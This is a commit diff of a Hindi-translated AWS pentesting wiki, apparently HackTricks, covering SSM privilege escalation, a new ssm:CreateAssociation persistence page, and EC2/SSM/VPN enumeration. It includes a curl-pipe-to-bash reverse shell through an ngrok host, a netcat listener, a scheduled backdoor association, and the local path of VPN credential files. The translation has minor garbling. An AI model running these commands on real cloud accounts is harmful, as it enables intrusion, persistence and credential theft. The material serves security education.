Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p

This commit is contained in:
Translator
2025-07-24 06:56:48 +00:00
parent d324c26a82
commit b5006fa578
5 changed files with 80 additions and 58 deletions

View File

@@ -230,7 +230,7 @@
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)

View File

@@ -0,0 +1,27 @@
# AWS - SSM Perssitence
{{#include ../../../banners/hacktricks-training.md}}
## SSM
अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Using ssm:CreateAssociation for persistence
एक हमलावर जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह SSM द्वारा प्रबंधित EC2 इंस्टेंस पर स्वचालित रूप से कमांड निष्पादित करने के लिए एक State Manager Association बना सकता है। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं।
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> यह स्थिरता विधि तब तक काम करती है जब तक EC2 इंस्टेंस को Systems Manager द्वारा प्रबंधित किया जा रहा है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,27 +0,0 @@
# AWS - SSM Perssitence
{{#include ../../../banners/hacktricks-training.md}}
## SSM
अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### स्थिरता के लिए ssm:CreateAssociation का उपयोग करना
ssm:CreateAssociation अनुमति के साथ एक हमलावर State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 इंस्टेंस पर स्वचालित रूप से कमांड निष्पादित करता है। इन संघों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त होते हैं।
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> यह स्थायीता विधि तब तक काम करती है जब तक EC2 इंस्टेंस को Systems Manager द्वारा प्रबंधित किया जा रहा है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ SSM के बारे में अधिक जानकारी के ल
### `ssm:SendCommand`
एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM Agent** चला रहे उदाहरणों में **कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM Role को समझौता कर सकता है**
एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM एजेंट चला रहे इंस्टेंस में कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM भूमिका को समझौता कर सकता है**
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
यदि आप इस तकनीक का उपयोग पहले से समझौता किए गए EC2 उदाहरण के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस स्थानीय रूप से रिव शेल को कैप्चर कर सकते हैं:
यदि आप इस तकनीक का उपयोग पहले से समझौता किए गए EC2 इंस्टेंस के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस निम्नलिखित के साथ स्थानीय रूप से रिव रिव शेल कैप्चर कर सकते हैं:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -47,11 +47,11 @@ aws ssm start-session --target "$INSTANCE_ID"
> [!CAUTION]
> सत्र शुरू करने के लिए आपको **SessionManagerPlugin** स्थापित करना होगा: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क।
**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं तक सीधे प्रिवेस्क।
#### ECS पर प्रिवेस्क
#### ECS के लिए प्रिवेस्क
जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके **कंटेनर के अंदर एक कमांड निष्पादित** कर सकते हैं।\
जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके कंटेनर के अंदर **एक कमांड निष्पादित** कर सकते हैं।\
[**दस्तावेज़**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार, यह उस उपकरण के बीच एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड शुरू करने के लिए करते हैं और लक्षित कंटेनर के साथ SSM सत्र प्रबंधक। (इस कार्य के लिए SSM सत्र प्रबंधक प्लगइन आवश्यक है)\
इसलिए, `ssm:StartSession` वाले उपयोगकर्ता उस विकल्प को सक्षम करके **ECS कार्यों के अंदर एक शेल प्राप्त** कर सकेंगे, बस यह चलाकर:
```bash
@@ -59,11 +59,11 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं के लिए सीधे प्रिवेस्क।
**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं क सीधे प्रिवेस्क।
### `ssm:ResumeSession`
एक हमलावर जिसके पास अनुमति **`ssm:ResumeSession`** है, वह **Amazon SSM एजेंट के साथ चल रहे उदाहरणों में SSH जैसी सत्र को फिर से शुरू कर सकता है** जिसमें **अविभाजित** SSM सत्र स्थिति है और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।**
एक हमलावर जिसके पास अनुमति **`ssm:ResumeSession`** है, वह **Amazon SSM एजेंट के साथ चल रहे उदाहरणों में SSH जैसी सत्र को फिर से शुरू कर सकता है** जिसमें **अविच्छेदित** SSM सत्र स्थिति है और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।**
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -95,7 +95,7 @@ aws ssm list-commands
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट** को पढ़ सकता है, उम्मीद है कि इसमें **संवेदनशील जानकारी** मिलेगी
इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट पढ़ सकता है** जिससे उम्मीद है कि वह इसमें **संवेदनशील जानकारी** पाएगा
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,25 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**संभावित प्रभाव:** कमांड लाइनों के आउटपुट के अंदर संवेदनशील जानकारी खोजें।
**संभावित प्रभाव:** कमांड लाइनों के आउटपुट में संवेदनशील जानकारी खोजें।
### कोडबिल्ड
### ssm:CreateAssociation का उपयोग करना
आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में भी प्रवेश कर सकत हैं जो बनाया जा रहा है:
एक हमलावर जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह EC2 इंस्टेंस पर कमांड स्वचालित रूप से निष्पादित करने के लिए एक State Manager Association बना सकता है जो SSM द्वारा प्रबंधित हैं। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकत है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं।
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> यह स्थायीता विधि तब तक काम करती है जब तक EC2 उदाहरण Systems Manager द्वारा प्रबंधित है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
### Codebuild
आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में भी प्रवेश कर सकते हैं:
{{#ref}}
aws-codebuild-privesc.md

View File

@@ -12,9 +12,9 @@ aws-vpc-and-networking-basic-information.md
## EC2
Amazon EC2 का उपयोग **वर्चुअल सर्वर** शुरू करने के लिए किया जाता है। यह **सुरक्षा** और **नेटवर्किंग** की कॉन्फ़िगरेशन और **स्टोरेज** के प्रबंधन की अनुमति देता है। Amazon EC2 की लचीलापन इसकी क्षमता में स्पष्ट है कि यह संसाधनों को ऊपर और नीचे दोनों की ओर स्केल कर सकता है, प्रभावी रूप से आवश्यकताओं में बदलाव या लोकप्रियता में वृद्धि के अनुसार अनुकूलित होता है। यह विशेषता सटीक ट्रैफ़िक भविष्यवाणियों की आवश्यकता को कम करती है।
Amazon EC2 का उपयोग **वर्चुअल सर्वर** शुरू करने के लिए किया जाता है। यह **सुरक्षा** और **नेटवर्किंग** की कॉन्फ़िगरेशन और **स्टोरेज** के प्रबंधन की अनुमति देता है। Amazon EC2 की लचीलापन इसकी क्षमता में स्पष्ट है कि यह संसाधनों को ऊपर और नीचे दोनों की ओर स्केल कर सकता है, प्रभावी रूप से बदलती आवश्यकताओं या लोकप्रियता में वृद्धि के लिए अनुकूलित होता है। यह विशेषता सटीक ट्रैफ़िक भविष्यवाणियों की आवश्यकता को कम करती है।
EC2 में गणना करने के लिए दिलचस्प चीजें:
EC2 में सूचीबद्ध करने के लिए दिलचस्प चीजें:
- वर्चुअल मशीनें
- SSH कुंजी
@@ -31,7 +31,7 @@ EC2 में गणना करने के लिए दिलचस्प
**EC2 इंस्टेंस** पर चलने वाले अनुप्रयोगों को अनुमतियाँ देने के लिए **भूमिकाओं** का उपयोग करने के लिए थोड़ी अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है। EC2 इंस्टेंस पर चलने वाला अनुप्रयोग AWS से वर्चुअलाइज्ड ऑपरेटिंग सिस्टम द्वारा अलग किया गया है। इस अतिरिक्त पृथक्करण के कारण, आपको EC2 इंस्टेंस को AWS भूमिका और इसके संबंधित अनुमतियों को असाइन करने के लिए एक अतिरिक्त कदम की आवश्यकता होती है और उन्हें इसके अनुप्रयोगों के लिए उपलब्ध कराना होता है।
यह अतिरिक्त कदम है [_**इंस्टेंस प्रोफ़ाइल**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) का निर्माण जो इंस्टेंस से जुड़ होत है। **इंस्टेंस प्रोफ़ाइल भूमिका को शामिल करता है और** इंस्टेंस पर चलने वाले अनुप्रयोग को भूमिका के अस्थायी क्रेडेंशियल प्रदान कर सकत है। उन अस्थायी क्रेडेंशियल का उपयोग फिर अनुप्रयोग के API कॉल में संसाधनों तक पहुँचने और केवल उन संसाधनों तक पहुँच को सीमित करने के लिए किया जा सकता है जो भूमिका निर्दिष्ट करती है। ध्यान दें कि **एक समय में केवल एक भूमिका को EC2 इंस्टेंस को असाइन किया जा सकता है**, और इंस्टेंस पर सभी अनुप्रयोग एक ही भूमिका और अनुमतियों को साझा करते हैं।
यह अतिरिक्त कदम एक [_**इंस्टेंस प्रोफ़ाइल**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) का **निर्माण** है जो इंस्टेंस से जुड़ होत है। **इंस्टेंस प्रोफ़ाइल में भूमिका होती है और** यह इंस्टेंस पर चलने वाले अनुप्रयोग को भूमिका के अस्थायी क्रेडेंशियल प्रदान कर सकत है। उन अस्थायी क्रेडेंशियल का उपयोग फिर अनुप्रयोग के API कॉल में संसाधनों तक पहुँचने और केवल उन संसाधनों तक पहुँच को सीमित करने के लिए किया जा सकता है जो भूमिका निर्दिष्ट करती है। ध्यान दें कि **एक समय में केवल एक भूमिका को EC2 इंस्टेंस को असाइन किया जा सकता है**, और इंस्टेंस पर सभी अनुप्रयोग एक ही भूमिका और अनुमतियों को साझा करते हैं।
### Metadata Endpoint
@@ -141,7 +141,7 @@ aws ec2 describe-vpc-peering-connections
../../aws-privilege-escalation/aws-ec2-privesc.md
{{#endref}}
### पोस्ट-एक्सप्लइटेशन
### पोस्ट-एक्सप्लइटेशन
{{#ref}}
../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/
@@ -149,7 +149,7 @@ aws ec2 describe-vpc-peering-connections
## EBS
Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल रूप से AWS EBS वॉल्यूम का स्थिर **बैकअप** हैं। दूसरे शब्दों में, ये एक विशिष्ट समय पर एक **EC2** इंस्टेंस से जुड़े **डिस्क** की **कॉपी** हैं। EBS स्नैपशॉट को क्षेत्रों और खातों के बीच कॉपी किया जा सकता है, या यहां तक कि डाउनलोड किया जा सकता है और स्थानीय रूप से चलाया जा सकता है।
Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल रूप से AWS EBS वॉल्यूम का स्थिर **बैकअप** हैं। दूसरे शब्दों में, ये एक विशिष्ट समय पर एक **EC2** इंस्टेंस से जुड़े **डिस्क** की **नकल** हैं। EBS स्नैपशॉट को क्षेत्रों और खातों के बीच कॉपी किया जा सकता है, या यहां तक कि डाउनलोड किया जा सकता है और स्थानीय रूप से चलाया जा सकता है।
स्नैपशॉट में **संवेदनशील जानकारी** हो सकती है जैसे **स्रोत कोड या एपीआई कुंजी**, इसलिए, यदि आपके पास मौका है, तो इसकी जांच करना अनुशंसित है।
@@ -167,13 +167,13 @@ Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल र
## SSM
**Amazon Simple Systems Manager (SSM)** EC2 इंस्टेंस के समूहों को दूरस्थ रूप से प्रबंधित करने की अनुमति देता है ताकि उनकी प्रशासनिक प्रक्रियाएँ बहुत आसान हो सकें। इन इंस्टेंस में से प्रत्येक को **SSM एजेंट सेवा चलानी होगी क्योंकि यह AWS API से क्रियाएँ प्राप्त और निष्पादित करने वाली होगी**
**Amazon Simple Systems Manager (SSM)** EC2 इंस्टेंस के समूहों को दूरस्थ रूप से प्रबंधित करने की अनुमति देता है ताकि उनकी प्रशासनिक प्रक्रियाएँ बहुत आसान हो सकें। इन इंस्टेंस में से प्रत्येक को **SSM एजेंट सेवा** चलानी होगी क्योंकि यह AWS API से क्रियाएँ प्राप्त और निष्पादित करने वाली सेवा होगी।
**SSM एजेंट** सिस्टम प्रबंधक को इन संसाधनों को अपडेट, प्रबंधित और कॉन्फ़िगर करने की अनुमति देता है। एजेंट **AWS क्लाउड में सिस्टम प्रबंधक सेवा से अनुरोधों को संसाधित करता है**, और फिर उन्हें अनुरोध में निर्दिष्ट के अनुसार चलाता है।
**SSM एजेंट आता है**[ **कुछ AMIs में पूर्व-स्थापित**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) या आपको इंस्टेंस पर [**हाथ से स्थापित करना होगा**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)। इसके अलावा, इंस्टेंस के अंदर उपयोग की जाने वाली IAM भूमिका को संवाद करने के लिए **AmazonEC2RoleforSSM** नीति संलग्न करनी होगी।
**SSM एजेंट**[ **कुछ AMIs में पूर्व-स्थापित आता है**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) या आपको [**इन्हें मैन्युअल रूप से स्थापित करना होगा**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) इंस्टेंस पर। इसके अलावा, इंस्टेंस के अंदर उपयोग की जाने वाली IAM भूमिका को संवाद करने के लिए नीति **AmazonEC2RoleforSSM** संलग्न करनी होगी।
### एनमरेशन
### एन्यूमरेशन
```bash
aws ssm describe-instance-information
aws ssm describe-parameters
@@ -182,18 +182,26 @@ aws ssm describe-instance-patches --instance-id <id>
aws ssm describe-instance-patch-states --instance-ids <id>
aws ssm describe-instance-associations-status --instance-id <id>
```
आप एक EC2 इंस्टेंस में यह जांच सकते हैं कि Systems Manager चल रहा है या नहीं, बस निम्नलिखित कमांड को निष्पादित करके:
आप एक EC2 इंस्टेंस में यह जांच सकते हैं कि क्या Systems Manager चल रहा है, बस इसे निष्पादित करके:
```bash
ps aux | grep amazon-ssm
```
### Privesc
In the following page you can check how to **SSM अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**:
निम्नलिखित पृष्ठ पर आप देख सकते हैं कि **SSM अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
{{#endref}}
### Perssistence
निम्नलिखित पृष्ठ पर आप देख सकते हैं कि **SSM अनुमतियों का दुरुपयोग करके स्थिरता कैसे प्राप्त करें**:
{{#ref}}
../../aws-persistence/aws-ssm-persistence.md
{{#endref}}
## ELB
**Elastic Load Balancing** (ELB) एक **लोड-बैलेंसिंग सेवा है Amazon Web Services** (AWS) तैनातियों के लिए। ELB स्वचालित रूप से **आने वाले एप्लिकेशन ट्रैफ़िक को वितरित करता है** और ट्रैफ़िक की मांगों को पूरा करने के लिए संसाधनों को स्केल करता है।
@@ -228,7 +236,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का एक सेट है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफॉर्म बनाता है। इसे Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का लाभ उठाता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्सट्रैक्ट करता है, **हमले की सतह को कम करता है** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, ज संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से लाभकारी है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है।
AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का एक सेट है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफॉर्म बनाता है। इसे सुरक्षा, प्रदर्शन और विश्वसनीयता को **बढ़ाने** के लिए Amazon द्वारा पेश किया गया है, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का लाभ उठाता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्सट्रैक्ट करता है, **हमले की सतह को कम करता है** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जिससे यह संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनता है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है।
Get more information and how to enumerate it from:
@@ -238,15 +246,15 @@ aws-nitro-enum.md
## VPN
एक VPN आपके **ऑन-प्रिमाइस नेटवर्क (साइट-से-साइट VPN)** या **कर्मचारियों के लैपटॉप (क्लाइंट VPN)** को **AWS VPC** से जोड़ने की अनुमति देता है ताकि सेवाओं को इंटरनेट पर उजागर किए बिना एक्सेस किया जा सके।
एक VPN आपको अपन**ऑन-प्रिमाइस नेटवर्क (साइट-से-साइट VPN)** या **कर्मचारियों के लैपटॉप (क्लाइंट VPN)** को **AWS VPC** से जोड़ने की अनुमति देता है ताकि सेवाओं को इंटरनेट पर उजागर किए बिना एक्सेस किया जा सके।
#### Basic AWS VPN Components
1. **Customer Gateway**:
- एक Customer Gateway एक संसाधन है जिसे आप AWS में VPN कनेक्शन के अपने पक्ष का प्रतिनिधित्व करने के लिए बनाते हैं।
- यह मूल रूप से साइट-से-साइट VPN कनेक्शन के आपके पक्ष पर एक भौतिक उपकरण या सॉफ़्टवेयर एप्लिकेशन है।
- आप AWS को एक Customer Gateway बनाने के लिए अपने नेटवर्क उपकरण (जैसे राउटर या फ़ायरवॉल) का रूटिंग जानकारी और सार्वजनिक IP पता प्रदान करते हैं।
- यह VPN कनेक्शन सेट करने के लिए एक संदर्भ बिंदु के रूप में कार्य करता है और इसके लिए अतिरिक्त शुल्क नहीं होता है।
- आप AWS को Customer Gateway बनाने के लिए अपने नेटवर्क डिवाइस (जैसे राउटर या फ़ायरवॉल) का रूटिंग जानकारी और सार्वजनिक IP पता प्रदान करते हैं।
- यह VPN कनेक्शन सेट करने के लिए एक संदर्भ बिंदु के रूप में कार्य करता है और अतिरिक्त शुल्क नहीं लेता है।
2. **Virtual Private Gateway**:
- एक Virtual Private Gateway (VPG) साइट-से-साइट VPN कनेक्शन के Amazon पक्ष पर VPN कंसंट्रेटर है।
- यह आपके VPC से जुड़ा होता है और आपके VPN कनेक्शन के लिए लक्ष्य के रूप में कार्य करता है।
@@ -255,12 +263,12 @@ aws-nitro-enum.md
3. **Site-to-Site VPN Connection**:
- एक साइट-से-साइट VPN कनेक्शन आपके ऑन-प्रिमाइस नेटवर्क को एक सुरक्षित, IPsec VPN टनल के माध्यम से VPC से जोड़ता है।
- इस प्रकार के कनेक्शन के लिए एक Customer Gateway और एक Virtual Private Gateway की आवश्यकता होती है।
- इसका उपयोग आपके डेटा सेंटर या नेटवर्क और आपके AWS वातावरण के बीच सुरक्षित, स्थिर, और लगातार संचार के लिए किया जाता है।
- इसका उपयोग आपके डेटा सेंटर या नेटवर्क और आपके AWS वातावरण के बीच सुरक्षित, स्थिर और सुसंगत संचार के लिए किया जाता है।
- आमतौर पर नियमित, दीर्घकालिक कनेक्शनों के लिए उपयोग किया जाता है और कनेक्शन के माध्यम से स्थानांतरित डेटा की मात्रा के आधार पर बिल किया जाता है।
4. **Client VPN Endpoint**:
- एक Client VPN एंडपॉइंट एक संसाधन है जिसे आप AWS में क्लाइंट VPN सत्रों को सक्षम और प्रबंधित करने के लिए बनाते हैं।
- इसका उपयोग व्यक्तिगत उपकरणों (जैसे लैपटॉप, स्मार्टफोन, आदि) को AWS संसाधनों या आपके ऑन-प्रिमाइस नेटवर्क से सुरक्षित रूप से कनेक्ट करने की अनुमति देने के लिए किया जाता है।
- यह साइट-से-साइट VPN से भिन्न है क्योंकि यह पूरे नेटवर्क को जोड़ने के बजाय व्यक्तिगत क्लाइंट के लिए डिज़ाइन किया गया है।
- यह साइट-से-साइट VPN से भिन्न है क्योंकि यह पूरे नेटवर्क को जोड़ने के बजाय व्यक्तिगत ग्राहकों के लिए डिज़ाइन किया गया है।
- Client VPN के साथ, प्रत्येक क्लाइंट डिवाइस एक VPN क्लाइंट सॉफ़्टवेयर का उपयोग करके एक सुरक्षित कनेक्शन स्थापित करता है।
You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
@@ -289,11 +297,11 @@ aws ec2 describe-vpn-gateways
# Get VPN site-to-site connections
aws ec2 describe-vpn-connections
```
### स्थानीय एनुमेशन
### स्थानीय एनुमेशन
**स्थानीय अस्थायी क्रेडेंशियल्स**
जब AWS VPN क्लाइंट का उपयोग VPN से कनेक्ट करने के लिए किया जाता है, तो उपयोगकर्ता आमतौर पर **AWS में लॉगिन करता है** ताकि VPN तक पहुंच प्राप्त कर सके। फिर, कुछ **AWS क्रेडेंशियल्स बनाए जाते हैं और स्थानीय रूप से संग्रहीत किए जाते हैं** ताकि VPN कनेक्शन स्थापित किया जा सके। ये क्रेडेंशियल्स **में संग्रहीत होते हैं** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` और इसमें एक **AccessKey**, एक **SecretKey** और एक **Token** होता है।
जब AWS VPN क्लाइंट का उपयोग VPN से कनेक्ट करने के लिए किया जाता है, तो उपयोगकर्ता आमतौर पर **AWS में लॉगिन** करता है ताकि VPN तक पहुंच प्राप्त कर सके। फिर, कुछ **AWS क्रेडेंशियल्स बनाए जाते हैं और स्थानीय रूप से संग्रहीत किए जाते हैं** ताकि VPN कनेक्शन स्थापित किया जा सके। ये क्रेडेंशियल्स **में संग्रहीत होते हैं** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` और इसमें एक **AccessKey**, एक **SecretKey** और एक **Token** होता है।
ये क्रेडेंशियल्स उपयोगकर्ता `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` के हैं (TODO: इस क्रेडेंशियल्स की अनुमतियों के बारे में अधिक शोध करें)।
@@ -301,7 +309,7 @@ aws ec2 describe-vpn-connections
यदि **VPN कनेक्शन स्थापित किया गया था** तो आपको सिस्टम में **`.opvn`** कॉन्फ़िग फ़ाइलों के लिए खोज करनी चाहिए। इसके अलावा, एक स्थान जहाँ आप **कॉन्फ़िगरेशन** पा सकते हैं वह है **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **पोस्ट एक्सप्लइटेशन**
#### **पोस्ट एक्सप्लइटेशन**
{{#ref}}
../../aws-post-exploitation/aws-vpn-post-exploitation.md